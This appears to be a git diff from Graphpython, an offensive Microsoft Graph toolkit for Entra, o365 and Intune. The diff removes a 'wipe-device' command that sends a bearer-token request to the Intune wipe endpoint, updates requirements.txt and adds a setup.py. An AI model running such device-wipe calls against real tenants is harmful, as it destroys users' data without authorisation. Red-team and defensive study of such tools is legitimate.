- elif args.command and args.command.lower() == "wipe-device":
- if not args.id:
- print_red("[-] Error: --id argument is required for Wipe-Device command")
- return
-
- print_yellow("\n[*] Wipe-Device")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/wipe"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- body = {
- "keepEnrollmentData": True,
- "keepUserData": True,
- "useProtectedWipe": False
- }
-
- response = requests.post(api_url, headers=headers, json=body)
- if response.ok:
- print_green(f"[+] Device wipe initiated successfully")
- else:
- print_red(f"[-] Failed to initiate device wipe: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
-if __name__ == "__main__":
- main()
\ No newline at end of file
diff --git a/requirements.txt b/requirements.txt
index a951794..9b0439f 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,6 +1,8 @@
requests
-PyJWT
+pyjwt
dnspython
tqdm
tabulate
cryptography
+beautifulsoup4
+termcolor
\ No newline at end of file
diff --git a/setup.py b/setup.py
new file mode 100644
index 0000000..689afb6
--- /dev/null
+++ b/setup.py
@@ -0,0 +1,42 @@
+from setuptools import setup, find_packages
+import os
+
+with open('README.md', 'r', encoding='utf-8') as f:
+ long_description = f.read()
+
+requirements = []
+if os.path.exists('requirements.txt'):
+ with open('requirements.txt', 'r', encoding='utf-8') as f:
+ requirements = [x.strip() for x in f.readlines()]
+
+setup(
+ name="Graphpython",
+ version="1.0",
+ packages=find_packages(),
+ author="mlcsec",
+ author_email="mlcsec@proton.me",
+ description="Modular cross-platform Microsoft Graph API (Entra, o365, and Intune) enumeration and exploitation toolkit",
+ long_description=long_description,
+ long_description_content_type="text/markdown",
+ url="https://github.com/mlcsec/Graphpython",
+ install_requires=requirements,
+ classifiers=[
+ "Programming Language :: Python :: 3",
+ "License :: OSI Approved :: MIT License",
+ "Operating System :: OS Independent",
+ "Development Status :: 3 - Alpha",
+ "Intended Audience :: Developers",
+ "Intended Audience :: Information Technology",
+ "Topic :: Security",
+ ],
+ python_requires='>=3.6',
+ entry_points={
+ "console_scripts": [
+ "Graphpython=Graphpython.__main__:main",
+ ],
+ },
+ include_package_data=True,
+ package_data={
+ 'Graphpython': ['commands/graphpermissions.txt', 'commands/directoryroles.txt']
+ },
+)
\ No newline at end of file